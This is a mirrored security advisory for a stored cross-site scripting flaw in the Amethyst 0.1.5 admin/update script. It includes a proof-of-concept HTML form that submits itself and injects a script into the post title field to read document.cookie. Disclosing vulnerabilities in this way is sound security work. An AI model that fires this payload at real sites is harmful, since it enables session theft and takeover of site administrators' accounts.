Amethyst 0.1.5 - XSS Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Amethyst 0.1.5 XSS Vulnerability, Allows Execution of Arbitrary JavaScript Cod


                                                Vulnerability ID: HTB22502
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
Product: Amethyst
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
Vulnerable Version: 0.1.5 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in &#34;post[title]&#34; variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

&#60;form action=&#34;http://host/admin/update/2&#34; method=&#34;post&#34; name=&#34;main&#34; &#62;

&#60;input type=&#34;hidden&#34; name=&#34;post[title]&#34; value=&#39;title&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;&#39; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[content]&#34; value=&#34;this is my post&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[created_at(1i)]&#34; value=&#34;2010&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[created_at(2i)]&#34; value=&#34;7&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[created_at(3i)]&#34; value=&#34;15&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[created_at(4i)]&#34; value=&#34;20&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[created_at(5i)]&#34; value=&#34;39&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[updated_at(1i)]&#34; value=&#34;2010&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[updated_at(2i)]&#34; value=&#34;7&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[updated_at(3i)]&#34; value=&#34;15&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[updated_at(4i)]&#34; value=&#34;20&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;post[updated_at(5i)]&#34; value=&#34;39&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;commit&#34; value=&#34;Create&#34; /&#62;

&#60;/form&#62;
&#60;script&#62;
document.main.submit();
&#60;/script&#62;

Solution: Upgrade to the most recent version

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1